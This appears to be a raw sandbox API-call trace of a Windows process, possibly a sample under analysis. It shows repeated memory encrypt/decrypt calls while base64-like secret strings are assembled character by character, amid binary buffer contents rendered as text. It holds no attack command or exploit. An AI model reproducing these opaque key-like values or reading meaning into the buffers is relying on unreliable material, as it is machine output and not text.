0x18 [0249.272] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.272] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ጳ놈ྥຘ薩䍓呑⋖) returned 0x18 [0249.272] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ጳ놈ྥຘ薩䍓呑⋖) returned 0x18 [0249.272] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.272] SysStringLen (param_1="a85s8jUlFWOpVuQJBra恋㷜햿諟ﹷ") returned 0x18 [0249.272] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.272] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ᜳᢸ勭苍ꞗ⯷报સ⊓) returned 0x18 [0249.272] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ᜳᢸ勭苍ꞗ⯷报સ⊓) returned 0x18 [0249.272] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.272] SysStringLen (param_1="a85s8jUlFWOpVuQJBrat㷜햿諟ﹷ") returned 0x18 [0249.273] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ꌳ끫虓뇲ᶕ씨岢⊧) returned 0x18 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ꌳ끫虓뇲ᶕ씨岢⊧) returned 0x18 [0249.273] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.273] SysStringLen (param_1="a85s8jUlFWOpVuQJBratM햿諟ﹷ") returned 0x18 [0249.273] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹괳丄굎ｕ\퓜셤\⋛) returned 0x18 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹괳丄굎ｕ\퓜셤\⋛) returned 0x18 [0249.273] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.273] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMV諟ﹷ") returned 0x18 [0249.273] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹붃柽䴐徬⊀) returned 0x18 [0249.273] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹붃柽䴐徬⊀) returned 0x18 [0249.273] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.274] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuﹷ") returned 0x18 [0249.274] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.274] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ꤳ䬯䧵刯㮁槬✴ꟷ≯) returned 0x18 [0249.274] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹ꤳ䬯䧵刯㮁槬✴ꟷ≯) returned 0x18 [0249.274] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.274] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY") returned 0x18 [0249.274] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.274] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗≄) returned 0x18 [0249.274] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗≄) returned 0x18 [0249.274] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗≄) returned 0x18 [0249.275] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗≄) returned 0x20 [0249.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.275] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+鄙煢ፊ㒗䄟搱觭") returned 0x20 [0249.275] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.275] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗﹄䈩鿴鳄㟇꩹ᵳ⋧) returned 0x20 [0249.275] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗﹄䈩鿴鳄㟇꩹ᵳ⋧) returned 0x20 [0249.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.276] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u煢ፊ㒗䄟搱觭") returned 0x20 [0249.276] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.276] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗卄飯肠䰂窓협꒣왠⋄) returned 0x20 [0249.276] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗卄飯肠䰂窓협꒣왠⋄) returned 0x20 [0249.276] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.276] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0ፊ㒗䄟搱觭") returned 0x20 [0249.276] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.276] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쟸猘\⃛䏉桇䟌⹁") returned 0x20 [0249.276] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쟸猘\⃛䏉桇䟌⹁") returned 0x20 [0249.276] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.276] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0T㒗䄟搱觭") returned 0x20 [0249.276] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.277] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쩄ི지똫䦅纑∌) returned 0x20 [0249.277] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쩄ི지똫䦅纑∌) returned 0x20 [0249.277] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.277] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK䄟搱觭") returned 0x20 [0249.277] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.277] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗佄样ᚁ홇\䣛Ƥ") returned 0x20 [0249.277] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗佄样ᚁ홇\䣛Ƥ") returned 0x20 [0249.277] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.277] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+搱觭") returned 0x20 [0249.277] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.277] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗⽄앖誈槽巏继軅\泝") returned 0x20 [0249.278] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗⽄앖誈槽巏继軅\泝") returned 0x20 [0249.278] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.278] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+m觭") returned 0x20 [0249.278] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.278] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗⁄髀阰踬⊩燣竽⵱∯) returned 0x20 [0249.278] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗⁄髀阰踬⊩燣竽⵱∯) returned 0x20 [0249.278] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.278] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mb") returned 0x20 [0249.278] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.278] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘) returned 0x20 [0249.279] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘) returned 0x20 [0249.279] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘) returned 0x20 [0249.279] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘) returned 0x28 [0249.279] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.279] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbk昪ퟷ੷摼ᬭ쿻ᔬ") returned 0x28 [0249.279] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ胘䒈꪿䄞毃鱬㛡∌) returned 0x28 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ胘䒈꪿䄞毃鱬㛡∌) returned 0x28 [0249.280] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.280] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaퟷ੷摼ᬭ쿻ᔬ") returned 0x28 [0249.280] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ꧘唄Ꟍ瀅혅㘿惝᠏≍) returned 0x28 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ꧘唄Ꟍ瀅혅㘿惝᠏≍) returned 0x28 [0249.280] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.280] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkai੷摼ᬭ쿻ᔬ") returned 0x28 [0249.280] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ狘⽁㨲愀⓯鿍럥弅≀) returned 0x28 [0249.280] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ狘⽁㨲愀⓯鿍럥弅≀) returned 0x28 [0249.280] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.281] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiA摼ᬭ쿻ᔬ") returned 0x28 [0249.281] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.281] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូῘ⋷䢐瞔淔\쟛챆烫") returned 0x28 [0249.281] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូῘ⋷䢐瞔淔\쟛챆烫") returned 0x28 [0249.281] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.281] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOᬭ쿻ᔬ") returned 0x28 [0249.281] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.281] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ탘魝魗\볛仄ډെ痴") returned 0x28 [0249.281] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ탘魝魗\볛仄ډെ痴") returned 0x28 [0249.281] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.281] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOB쿻ᔬ") returned 0x28 [0249.282] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.282] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ볘ↈᐜ䵑眅㜳멆≑) returned 0x28 [0249.282] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ볘ↈᐜ䵑眅㜳멆≑) returned 0x28 [0249.282] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.282] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeᔬ") returned 0x28 [0249.282] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.282] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូዘ㈙\嘆咹쫊ᣣ") returned 0x28 [0249.282] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូዘ㈙\嘆咹쫊ᣣ") returned 0x28 [0249.282] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.282] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeq") returned 0x28 [0249.282] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.283] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶") returned 0x28 [0249.283] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶") returned 0x28 [0249.283] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶") returned 0x28 [0249.283] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶") returned 0x30 [0249.283] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.284] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeqn뿻偪䣀햧ᰐ쓍") returned 0x30 [0249.284] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.284] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶䫑痕㧒轫ၬ–") returned 0x30 [0249.284] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶䫑痕㧒轫ၬ–") returned 0x30 [0249.284] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.284] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeqnO뿻偪䣀햧ᰐ쓍") returned 0x30 [0249.284] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.284] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶쾡䝓퓗\柚ꢾ礁⊵) returned 0x30 [0249.284] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶쾡䝓퓗\柚ꢾ礁⊵) returned 0x30 [0249.284] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.284] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeqnOs偪䣀햧ᰐ쓍") returned 0x30 [0249.284] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.285] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶̿㑊镯타颒퉸\⋙) returned 0x30 [0249.285] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹㰳谪ன萆碩悿䋷혗쁄뼢鹞릠鎰勯袭ូ⋘\헟좒쌯揘潣৶̿㑊镯타颒퉸\⋙) returned 0x30 [0249.285] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.285] SysStringLen (param_1="a85s8jUlFWOpVuQJBratMVuY+u0TK+mbkaiAOBeqnOs=䣀햧ᰐ쓍") returned 0x30 [0249.285] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0249.285] EtwEventActivityIdControl () returned 0x0 [0249.285] EtwEventActivityIdControl () returned 0x0 [0249.285] EtwEventActivityIdControl () returned 0x0 [0249.286] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.287] EtwEventActivityIdControl () returned 0x0 [0249.287] EtwEventActivityIdControl () returned 0x0 [0249.287] EtwEventActivityIdControl () returned 0x0 [0249.288] SysStringLen (param_1="") returned 0x8 [0249.288] SysStringLen (param_1="N") returned 0x8 [0249.288] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.288] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0249.288] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0249.288] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.288] SysStringLen (param_1="ND") returned 0x8 [0249.289] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.289] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0249.289] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0249.289] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.289] SysStringLen (param_1="NDZ") returned 0x8 [0249.289] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.289] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0249.289] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0249.289] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.289] SysStringLen (param_1="NDZl") returned 0x8 [0249.289] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.290] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0249.290] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0249.290] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.290] SysStringLen (param_1="NDZlO") returned 0x8 [0249.290] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.290] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0249.290] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0249.290] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.290] SysStringLen (param_1="NDZlOD") returned 0x8 [0249.290] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.290] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0249.290] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0249.291] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.291] SysStringLen (param_1="NDZlODR") returned 0x8 [0249.291] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.291] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0249.291] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0249.291] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.291] SysStringLen (param_1="NDZlODRm") returned 0x8 [0249.291] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0249.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0249.292] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.292] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0249.292] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.293] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0249.293] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0249.293] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.293] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0249.341] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.341] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.341] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0249.341] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.341] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0249.341] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.342] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 